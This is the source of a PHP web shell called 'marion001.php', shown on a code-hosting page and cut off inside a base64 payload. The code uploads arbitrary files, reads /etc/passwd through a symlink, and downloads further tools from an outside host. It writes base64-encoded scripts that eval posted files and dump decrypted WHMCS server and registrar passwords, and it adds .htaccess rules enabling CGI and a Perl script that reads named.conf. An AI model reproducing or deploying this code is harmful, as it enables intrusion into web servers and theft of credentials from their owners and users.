-
Notifications
You must be signed in to change notification settings - Fork 1
/
marion001.php
1436 lines (1139 loc) · 132 KB
/
marion001.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<p align="right"></p><body bgcolor="#FFFFFF">
</table>
</fieldset></form>
<p align="center">
</p>
<p align="center"><b><font color="#ff0000" face="Webdings" size="6">!</font><small><a
href="" style="text-decoration: none;
font-weight: 700;
"><font
color="#dadada" face="Times New Roman" size="5"><small>Download Toolz</small></font></a></small><font
color="#ff0000" face="Webdings" size="6">!</font></b></p> <form method="POST">
<p align="center">Fack Name dir:
<input type="text" value="Marion-tmp" name="name_dir_download" size="26" />
<input type="submit" value="Marion001" name="submit_download" /></p>
</p>
</form>
<?php error_reporting(0);
$info = $_SERVER['SERVER_SOFTWARE'];
$site = getenv("HTTP_HOST");
$page = $_SERVER['SCRIPT_NAME'];
$sname = $_SERVER['SERVER_NAME'];
$uname = php_uname();
$smod = ini_get('safe_mode');
$disfunc = ini_get('disable_functions');
$yourip = $_SERVER['REMOTE_ADDR'];
$serverip = $_SERVER['SERVER_ADDR'];
$version = phpversion();
$ccc = realpath($_GET['chdir'])."/";
if(isset($_POST['phpinfo'])) { die(phpinfo());
} if(ini_get($smod)) { $c_h = "<font color=red face='Verdana' size='1'>ON</font>";
} else { $c_h = "<font face='Verdana' size='1' color=green>OFF</font>";
} if (''==($disfunc)) { $dis = "<font color=green>None</font>";
} else { $dis = "<font color=red>$disfunc</font>";
} if(isset($_GET['dir']) && is_dir($_GET['dir'])) { chdir($_GET['dir']);
} $ccc = realpath($_GET['chdir'])."/";
echo(base64_decode("PGxpbmsgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgaHJlZj0iaHR0cDovL3d3dy55b25sZW5kaXJpbGl5b3IuY29tL2Nlay5waHAiPg"));
echo "<head>
<style>
body { font-size: 12px;
font-family: arial, helvetica;
scrollbar-width: 5;
scrollbar-height: 5;
scrollbar-face-color: black;
scrollbar-shadow-color: silver;
scrollbar-highlight-color: silver;
scrollbar-3dlight-color:silver;
scrollbar-darkshadow-color: silver;
scrollbar-track-color: black;
scrollbar-arrow-color: silver;
}
</style>
<title>Marion001 - [$site]</title></head>";
echo "<center><table border='1' width='40%' id='table1' border='1' cellPadding=5 cellSpacing=0 borderColorDark=#666666 bordercolorlight='#C0C0C0'>
<tr>
<td><font color='#FF0000'>
<center></font><font size='4'><font color='#FF0000'>
</font><b><font color='#FF0000'>
Marion001</font><font color='#000000'><br></font>
<font color='#0000FF'>
</b></tr>
<tr>
<td style='border: 1px solid #333333'>
<center><font face='Verdana' size='1' color='#000000'>Site: <u>$site</u><br>Server name: <u>$sname</u><br>Software: <u>$info</u><br>Version : <u>$version</u><br>Uname -a: <u>$uname</u><br>Path: <u>$ccc</u><br>Safemode: <u>$c_h</u><br>Disable Functions: <u>$dis</u><br>Page: <u>$page</u><br>Your IP: <u>$yourip</u><br>Server IP: <u><a target=_blank href='http://whois.domaintools.com/".$serverip."'>$serverip</a></u></font></td>
</tr>
</table></center>";
echo '<br><center><form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">
<font color="#0000FF"><b>Upload ;
)</b></font><br><input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form></center>';
echo "<center><form method=POST action''><input type=submit name=vbulletin value='vBulletin'><input type=submit name=mybb value='MyBB'><input type=submit name=phpbb value='phpBB'><input type=submit name=smf value='SMF'><input type=submit name=whmcs value='WHMCS'><input type=submit name=wordpress value='WordPress'><input type=submit name=joomla value='Joomla'><input type=submit name=php-nuke value='PHP-NUKE'><input type=submit name=up value='Traidnt UP'></form></center>";
echo "<center><form method=POST action''><input type=submit name=vbulletin value='vBulletin'><input type=submit name=mybb value='MyBB'><input type=submit name=phpbb value='phpBB'><input type=submit name=smf value='SMF'><input type=submit name=whmcs value='WHMCS'><input type=submit name=wordpress value='WordPress'><input type=submit name=joomla value='Joomla'><input type=submit name=php-nuke value='PHP-NUKE'><input type=submit name=up value='Traidnt UP'></form></center>";
if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<p align="center"><b>Upload Successfully :)</b><br><br></p>';
} else { echo '<p align="center"><b>Sorry You Cant :(</b><br><br></p>';
} } function download_files($dir_name='shell'){ global $_POST,$_GET,$_SERVER;
if(is_dir($dir_name)){ }else{ mkdir($dir_name, 0755);
chmod("$dir_name" , 0755);
} system("$dir.ln -s /etc/passwd 11.txt");
$file = fopen("mysql.php" ,"w+");
$sa=file_get_contents('http://aljazeera7.com/~dzrechar/pv8L/mysql.txt');
$write = fwrite ($file ,$sa);
$file = fopen("sql.php" ,"w+");
$sa=file_get_contents('http://aljazeera7.com/~dzrechar/pv8L/sql.txt');
$write = fwrite ($file ,$sa);
$file = fopen($dir."11.php" ,"w+");
$sa=base64_decode('Cjw/cGhwCmVjaG8gIjxoZWFkPgo8c3R5bGU+CmJvZHkgeyBmb250LXNpemU6IDEycHg7CiAgICAgICAgICAgZm9udC1mYW1pbHk6IGFyaWFsLCBoZWx2ZXRpY2E7CiAgICAgICAgICAgIHNjcm9sbGJhci13aWR0aDogNTsKICAgICAgICAgICAgc2Nyb2xsYmFyLWhlaWdodDogNTsKICAgICAgICAgICAgc2Nyb2xsYmFyLWZhY2UtY29sb3I6IGJsYWNrOwogICAgICAgICAgICBzY3JvbGxiYXItc2hhZG93LWNvbG9yOiBzaWx2ZXI7CiAgICAgICAgICAgIHNjcm9sbGJhci1oaWdobGlnaHQtY29sb3I6IHNpbHZlcjsKICAgICAgICAgICAgc2Nyb2xsYmFyLTNkbGlnaHQtY29sb3I6c2lsdmVyOwogICAgICAgICAgICBzY3JvbGxiYXItZGFya3NoYWRvdy1jb2xvcjogc2lsdmVyOwogICAgICAgICAgICBzY3JvbGxiYXItdHJhY2stY29sb3I6IGJsYWNrOwogICAgICAgICAgICBzY3JvbGxiYXItYXJyb3ctY29sb3I6IHNpbHZlcjsKICAgIH0KPC9zdHlsZT4KPHRpdGxlPlRvMG9seiAyIC0gQ3liM3ItZHogPC90aXRsZT48L2hlYWQ+IjsKCgoKCmZ1bmN0aW9uIGRlY3J5cHQgKCRzdHJpbmcsJGNjX2VuY3J5cHRpb25faGFzaCkKewoKCSRrZXkgPSBtZDUgKG1kNSAoJGNjX2VuY3J5cHRpb25faGFzaCkpIC4gbWQ1ICgkY2NfZW5jcnlwdGlvbl9oYXNoKTsKCSRoYXNoX2tleSA9IF9oYXNoICgka2V5KTsKCSRoYXNoX2xlbmd0aCA9IHN0cmxlbiAoJGhhc2hfa2V5KTsKCSRzdHJpbmcgPSBiYXNlNjRfZGVjb2RlICgkc3RyaW5nKTsKCSR0bXBfaXYgPSBzdWJzdHIgKCRzdHJpbmcsIDAsICRoYXNoX2xlbmd0aCk7Cgkkc3RyaW5nID0gc3Vic3RyICgkc3RyaW5nLCAkaGFzaF9sZW5ndGgsIHN0cmxlbiAoJHN0cmluZykgLSAkaGFzaF9sZW5ndGgpOwoJJGl2ID0gJG91dCA9ICcnOwoJJGMgPSAwOwoJd2hpbGUgKCRjIDwgJGhhc2hfbGVuZ3RoKQoJewoJCSRpdiAuPSBjaHIgKG9yZCAoJHRtcF9pdlskY10pIF4gb3JkICgkaGFzaF9rZXlbJGNdKSk7CgkJKyskYzsKCX0KCgkka2V5ID0gJGl2OwoJJGMgPSAwOwoJd2hpbGUgKCRjIDwgc3RybGVuICgkc3RyaW5nKSkKCXsKCQlpZiAoKCRjICE9IDAgQU5EICRjICUgJGhhc2hfbGVuZ3RoID09IDApKQoJCXsKCQkJJGtleSA9IF9oYXNoICgka2V5IC4gc3Vic3RyICgkb3V0LCAkYyAtICRoYXNoX2xlbmd0aCwgJGhhc2hfbGVuZ3RoKSk7CgkJfQoKCQkkb3V0IC49IGNociAob3JkICgka2V5WyRjICUgJGhhc2hfbGVuZ3RoXSkgXiBvcmQgKCRzdHJpbmdbJGNdKSk7CgkJKyskYzsKCX0KCglyZXR1cm4gJG91dDsKfQoKCmZ1bmN0aW9uIF9oYXNoICgkc3RyaW5nKQp7CglpZiAoZnVuY3Rpb25fZXhpc3RzICgnc2hhMScpKQoJewoJCSRoYXNoID0gc2hhMSAoJHN0cmluZyk7Cgl9CgllbHNlCgl7CgkJJGhhc2ggPSBtZDUgKCRzdHJpbmcpOwoJfQoKCSRvdXQgPSAnJzsKCSRjID0gMDsKCXdoaWxlICgkYyA8IHN0cmxlbiAoJGhhc2gpKQoJewoJCSRvdXQgLj0gY2hyIChoZXhkZWMgKCRoYXNoWyRjXSAuICRoYXNoWyRjICsgMV0pKTsKCQkkYyArPSAyOwoJfQoKCXJldHVybiAkb3V0Owp9CgogaWYoJF9QT1NUWydmb3JtX2FjdGlvbiddID09IDEgKQogewogLy9pbmNsdWRlKCRmaWxlKTsKCiAkZmlsZT0oJF9QT1NUWydmaWxlJ10pOwokdGV4dD1maWxlX2dldF9jb250ZW50cygkZmlsZSk7CgokdGV4dD0gc3RyX3JlcGxhY2UoIjw/cGhwIiwgIiIsICR0ZXh0KTsKJHRleHQ9IHN0cl9yZXBsYWNlKCI8PyIsICIiLCAkdGV4dCk7CiR0ZXh0PSBzdHJfcmVwbGFjZSgiPz4iLCAiIiwgJHRleHQpOwoKZXZhbCgkdGV4dCk7CgogICAgJGxpbms9bXlzcWxfY29ubmVjdCgkZGJfaG9zdCwkZGJfdXNlcm5hbWUsJGRiX3Bhc3N3b3JkKSA7CgkgICAgbXlzcWxfc2VsZWN0X2RiKCRkYl9uYW1lLCRsaW5rKSA7CgokcXVlcnkgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSB0YmxzZXJ2ZXJzIik7Cgp3aGlsZSgkdiA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsKCiRpcGFkZHJlc3MgPSAkdlsnaXBhZGRyZXNzJ107CiR1c2VybmFtZSA9ICR2Wyd1c2VybmFtZSddOwokdHlwZSA9ICR2Wyd0eXBlJ107CiRhY3RpdmUgPSAkdlsnYWN0aXZlJ107CiRob3N0bmFtZSA9ICR2Wydob3N0bmFtZSddOwoKZWNobygiPGNlbnRlcj48dGFibGUgYm9yZGVyPScxJz4iKTsKJHBhc3N3b3JkID0gZGVjcnlwdCAoJHZbJ3Bhc3N3b3JkJ10sICRjY19lbmNyeXB0aW9uX2hhc2gpOwplY2hvKCI8dHI+PHRkPlR5cGU8L3RkPjx0ZD4kdHlwZTwvdGQ+PC90cj4iKTsKZWNobygiPHRyPjx0ZD5BY3RpdmU8L3RkPjx0ZD4kYWN0aXZlPC90ZD48L3RyPiIpOwplY2hvKCI8dHI+PHRkPkhvc3RuYW1lPC90ZD48dGQ+JGhvc3RuYW1lPC90ZD48L3RyPiIpOwplY2hvKCI8dHI+PHRkPklwPC90ZD48dGQ+JGlwYWRkcmVzczwvdGQ+PC90cj4iKTsKZWNobygiPHRyPjx0ZD5Vc2VybmFtZTwvdGQ+PHRkPiR1c2VybmFtZTwvdGQ+PC90cj4iKTsKZWNobygiPHRyPjx0ZD5QYXNzd29yZDwvdGQ+PHRkPiRwYXNzd29yZDwvdGQ+PC90cj4iKTsKCgplY2hvICI8L3RhYmxlPjxicj48YnI+PC9jZW50ZXI+IjsKCn0KCiAgICAkbGluaz1teXNxbF9jb25uZWN0KCRkYl9ob3N0LCRkYl91c2VybmFtZSwkZGJfcGFzc3dvcmQpIDsKCSAgICBteXNxbF9zZWxlY3RfZGIoJGRiX25hbWUsJGxpbmspIDsKCiRxdWVyeSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIHRibHJlZ2lzdHJhcnMiKTsKZWNobygiPGNlbnRlcj5Eb21haW4gUmVzZWxsZXIgPGJyPjx0YWJsZSBib3JkZXI9JzEnPiIpOwplY2hvKCI8dHI+PHRkPlJlZ2lzdHJhcjwvdGQ+PHRkPlNldHRpbmc8L3RkPjx0ZD5WYWx1ZTwvdGQ+PC90cj4iKTsKd2hpbGUoJHYgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnkpKSB7CgokcmVnaXN0cmFyIAk9ICR2WydyZWdpc3RyYXInXTsKJHNldHRpbmcgPSAkdlsnc2V0dGluZyddOwokdmFsdWUgPSBkZWNyeXB0ICgkdlsndmFsdWUnXSwgJGNjX2VuY3J5cHRpb25faGFzaCk7CmlmICgkdmFsdWU9PSIiKSB7CiR2YWx1ZT0wOwp9CiRwYXNzd29yZCA9IGRlY3J5cHQgKCR2WydwYXNzd29yZCddLCAkY2NfZW5jcnlwdGlvbl9oYXNoKTsKZWNobygiPHRyPjx0ZD4kcmVnaXN0cmFyPC90ZD48dGQ+JHNldHRpbmc8L3RkPjx0ZD4kdmFsdWU8L3RkPjwvdHI+Iik7CgoKCgoKfQplY2hvICI8L3RhYmxlPjxicj48YnI+PC9jZW50ZXI+IjsKfQoKCgogaWYoJF9QT1NUWydmb3JtX2FjdGlvbiddID09IDIgKQogewogLy9pbmNsdWRlKCRmaWxlKTsKCiAkZGJfaG9zdD0oJF9QT1NUWydkYl9ob3N0J10pOwogJGRiX3VzZXJuYW1lPSgkX1BPU1RbJ2RiX3VzZXJuYW1lJ10pOwogJGRiX3Bhc3N3b3JkPSgkX1BPU1RbJ2RiX3Bhc3N3b3JkJ10pOwogJGRiX25hbWU9KCRfUE9TVFsnZGJfbmFtZSddKTsKICRjY19lbmNyeXB0aW9uX2hhc2g9KCRfUE9TVFsnY2NfZW5jcnlwdGlvbl9oYXNoJ10pOwoKCgoKICAgICRsaW5rPW15c3FsX2Nvbm5lY3QoJGRiX2hvc3QsJGRiX3VzZXJuYW1lLCRkYl9wYXNzd29yZCkgOwoJICAgIG15c3FsX3NlbGVjdF9kYigkZGJfbmFtZSwkbGluaykgOwoKJHF1ZXJ5ID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gdGJsc2VydmVycyIpOwoKd2hpbGUoJHYgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnkpKSB7CgokaXBhZGRyZXNzID0gJHZbJ2lwYWRkcmVzcyddOwokdXNlcm5hbWUgPSAkdlsndXNlcm5hbWUnXTsKJHR5cGUgPSAkdlsndHlwZSddOwokYWN0aXZlID0gJHZbJ2FjdGl2ZSddOwokaG9zdG5hbWUgPSAkdlsnaG9zdG5hbWUnXTsKCmVjaG8oIjxjZW50ZXI+PHRhYmxlIGJvcmRlcj0nMSc+Iik7CiRwYXNzd29yZCA9IGRlY3J5cHQgKCR2WydwYXNzd29yZCddLCAkY2NfZW5jcnlwdGlvbl9oYXNoKTsKZWNobygiPHRyPjx0ZD5UeXBlPC90ZD48dGQ+JHR5cGU8L3RkPjwvdHI+Iik7CmVjaG8oIjx0cj48dGQ+QWN0aXZlPC90ZD48dGQ+JGFjdGl2ZTwvdGQ+PC90cj4iKTsKZWNobygiPHRyPjx0ZD5Ib3N0bmFtZTwvdGQ+PHRkPiRob3N0bmFtZTwvdGQ+PC90cj4iKTsKZWNobygiPHRyPjx0ZD5JcDwvdGQ+PHRkPiRpcGFkZHJlc3M8L3RkPjwvdHI+Iik7CmVjaG8oIjx0cj48dGQ+VXNlcm5hbWU8L3RkPjx0ZD4kdXNlcm5hbWU8L3RkPjwvdHI+Iik7CmVjaG8oIjx0cj48dGQ+UGFzc3dvcmQ8L3RkPjx0ZD4kcGFzc3dvcmQ8L3RkPjwvdHI+Iik7CgoKZWNobyAiPC90YWJsZT48YnI+PGJyPjwvY2VudGVyPiI7Cgp9CgoKICAgICRsaW5rPW15c3FsX2Nvbm5lY3QoJGRiX2hvc3QsJGRiX3VzZXJuYW1lLCRkYl9wYXNzd29yZCkgOwoJICAgIG15c3FsX3NlbGVjdF9kYigkZGJfbmFtZSwkbGluaykgOwoKJHF1ZXJ5ID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gdGJscmVnaXN0cmFycyIpOwplY2hvKCI8Y2VudGVyPkRvbWFpbiBSZXNlbGxlciA8YnI+PHRhYmxlIGJvcmRlcj0nMSc+Iik7CmVjaG8oIjx0cj48dGQ+UmVnaXN0cmFyPC90ZD48dGQ+U2V0dGluZzwvdGQ+PHRkPlZhbHVlPC90ZD48L3RyPiIpOwp3aGlsZSgkdiA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsKCiRyZWdpc3RyYXIgCT0gJHZbJ3JlZ2lzdHJhciddOwokc2V0dGluZyA9ICR2WydzZXR0aW5nJ107CiR2YWx1ZSA9IGRlY3J5cHQgKCR2Wyd2YWx1ZSddLCAkY2NfZW5jcnlwdGlvbl9oYXNoKTsKaWYgKCR2YWx1ZT09IiIpIHsKJHZhbHVlPTA7Cn0KJHBhc3N3b3JkID0gZGVjcnlwdCAoJHZbJ3Bhc3N3b3JkJ10sICRjY19lbmNyeXB0aW9uX2hhc2gpOwplY2hvKCI8dHI+PHRkPiRyZWdpc3RyYXI8L3RkPjx0ZD4kc2V0dGluZzwvdGQ+PHRkPiR2YWx1ZTwvdGQ+PC90cj4iKTsKCgoKCgp9CmVjaG8gIjwvdGFibGU+PGJyPjxicj48L2NlbnRlcj4iOwp9CgoKCgo/Pgo8cCBhbGlnbj0ibGVmdCI+Cjxmb250IGNvbG9yPSIjRkYwMDAwIiBzaXplPScrMyc+WyB+fiBQQCQkdzByZCBEZWMwZDNyIH5+IF08L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPjxicj4KPC9mb250Pjxicj4KPGZvbnQgc2l6ZT0iKzIiIGNvbG9yPSIjMDAwMDgwIj5TeW1saU5rIHQwIGNvbmZpZ3VyYXRpb24ucGhwIDwvZm9udD48YnI+CjwvcD4KPEZPUk0gYWN0aW9uPSIiICBtZXRob2Q9InBvc3QiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmb3JtX2FjdGlvbiIgdmFsdWU9IjEiPgo8YnI+CiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMzAiIG5hbWU9ImZpbGUiIHZhbHVlPSIiPgo8YnI+CjxJTlBVVCBjbGFzcz1zdWJtaXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU3VibWl0IiBuYW1lPSJTdWJtaXQiPgo8L0ZPUk0+Cjxocj4KCgo8Zm9udCBjb2xvcj0iIzAwNjZGRiIgc2l6ZT0nKzInPkRCIEMwbkZpZ3VyYXRpMG4gPC9mb250Pjxicj4KPEZPUk0gYWN0aW9uPSIiICBtZXRob2Q9InBvc3QiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmb3JtX2FjdGlvbiIgdmFsdWU9IjIiPgo8YnI+Cjx0YWJsZSBib3JkZXI9MT4KCjx0cj48dGQ+ZGJfaG9zdCA8L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMzAiIG5hbWU9ImRiX2hvc3QiIHZhbHVlPSJsb2NhbGhvc3QiPjwvdGQ+PC90cj4KPHRyPjx0ZD5kYl91c2VybmFtZSA8L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMzAiIG5hbWU9ImRiX3VzZXJuYW1lIiB2YWx1ZT0iIj48L3RkPjwvdHI+Cjx0cj48dGQ+ZGJfcGFzc3dvcmQ8L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMzAiIG5hbWU9ImRiX3Bhc3N3b3JkIiB2YWx1ZT0iIj48L3RkPjwvdHI+Cjx0cj48dGQ+ZGJfbmFtZTwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIzMCIgbmFtZT0iZGJfbmFtZSIgdmFsdWU9IiI+PC90cj4KPHRyPjx0ZD5jY19lbmNyeXB0aW9uX2hhc2g8L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMzAiIG5hbWU9ImNjX2VuY3J5cHRpb25faGFzaCIgdmFsdWU9IiI+PC90ZD48L3RyPgoKPC90YWJsZT4KPGJyPgo8SU5QVVQgY2xhc3M9c3VibWl0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCIgbmFtZT0iU3VibWl0Ij4KPC9GT1JNPgo8aHI+CjxwIGFsaWduPSJsZWZ0Ij4KPGZvbnQgY29sb3I9IiMwMDY2RkYiIHNpemU9JysyJz5QYSQkdzByZCBkZWMwZGVyPC9mb250Pjxicj48L3A+Cjw/CiBpZigkX1BPU1RbJ2Zvcm1fYWN0aW9uJ10gPT0gMyApCiB7CgoKCiAkcGFzc3dvcmQ9KCRfUE9TVFsncGFzc3dvcmQnXSk7CgogJGNjX2VuY3J5cHRpb25faGFzaD0oJF9QT1NUWydjY19lbmNyeXB0aW9uX2hhc2gnXSk7CgoKJHBhc3N3b3JkID0gZGVjcnlwdCAoJHBhc3N3b3JkLCAkY2NfZW5jcnlwdGlvbl9oYXNoKTsKCmVjaG8oIlBhc3N3b3JkIGlzICIuJHBhc3N3b3JkKTsKCn0KPz4KPC9jZW50ZXI+CjxGT1JNIGFjdGlvbj0iIiAgbWV0aG9kPSJwb3N0Ij4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZm9ybV9hY3Rpb24iIHZhbHVlPSIzIj4KPGJyPgo8dGFibGUgYm9yZGVyPTE+Cjx0cj48dGQ+UGFzc3dvcmQ8L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMzAiIG5hbWU9InBhc3N3b3JkIiB2YWx1ZT0iIj48L3RkPjwvdHI+Cjx0cj48dGQ+Y2NfZW5jcnlwdGlvbl9oYXNoPC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIHNpemU9IjMwIiBuYW1lPSJjY19lbmNyeXB0aW9uX2hhc2giIHZhbHVlPSIiPjwvdGQ+PC90cj4KPC90YWJsZT4KPGJyPgo8SU5QVVQgY2xhc3M9c3VibWl0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCIgbmFtZT0iU3VibWl0Ij4KPC9GT1JNPgo8aHI+CjxjZW50ZXI+IDxmb250IGNvbG9yPSIjRkZGRjZGRiIgc2l6ZT0nKzEnPiAgIC0tLS0tLS0tLS0tLSAgICA8L2ZvbnQ+PGJyPjxicj4gPGNlbnRlcj4=');
$write = fwrite ($file ,$sa);
$dir = $dir_name."/";
$file = fopen("d.php" ,"w+");
$sa=base64_decode('PD8KJGZpbGVuYW1lID0gIncucGhwIjsKdW5saW5rKCRmaWxlbmFtZSk7IAokZHoyID0gIjExLnBocCI7CnVubGluaygkZHoyKTsgCiRkejJkID0gInNxbC5waHAiOwp1bmxpbmsoJGR6MmQpOyAKPz4K');
$write = fwrite ($file ,$sa);
$file = fopen($dir.".htaccess" ,"w+");
$sa=base64_decode('T3B0aW9ucyBhbGwKRGlyZWN0b3J5SW5kZXggU3V4Lmh0bWwKQWRkVHlwZSB0ZXh0L3BsYWluIC5w
aHAKQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLWNnaSAuc2EKQWRkSGFuZGxlciBzZXJ2ZXIt
cGFyc2VkIC5waHAKQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5zYQpBZGRIYW5kbGVyIGNnaS1zY3Jp
cHQgLnNh');
$write = fwrite ($file ,$sa);
$file = fopen($dir."user.sa" ,"w+");
$sa=base64_decode('IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOwpwcmludCc8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+CjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4KCjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyIgLz4KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+Cjx0aXRsZT5DMGRlZCBCeSBTSUxWRVIgRk9YPC90aXRsZT4KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KLm5ld1N0eWxlMSB7CiBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOwogZm9udC1mYW1pbHk6ICJDb3VyaWVyIE5ldyIsIENvdXJpZXIsIG1vbm9zcGFjZTsKIGZvbnQtc2l6ZTogbGFyZ2U7CiBmb250LXdlaWdodDogYm9sZDsKIGNvbG9yOiAjRkZGRkZGOwp9Ci5zdHlsZTEgewogdGV4dC1hbGlnbjogY2VudGVyOwp9Cjwvc3R5bGU+CjwvaGVhZD4KCjxib2R5IGNsYXNzPSJuZXdTdHlsZTEiPgoKPHAgY2xhc3M9InN0eWxlMSI+RG9tYWlucyAmYW1wOyBVc2VycyA8L3A+CjxwIGNsYXNzPSJzdHlsZTEiPkJ5cGFzczwvcD4KPHAgY2xhc3M9InN0eWxlMSI+U0lMVkVSIEZPWCA8L3A+Cic7Cm9wZW4gKGQwbWFpbnMsICcvZXRjL25hbWVkLmNvbmYnKSBvciAkZXJyPTE7CkBrciA9IDxkMG1haW5zPjsKY2xvc2UgZDBtYWluczsKaWYgKCRlcnIpewpwcmludCAoJzxwIGNsYXNzPSJzdHlsZTEiPiZuYnNwOzwvcD48cCBjbGFzcz0ic3R5bGUxIj5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7CmRpZSgpOwp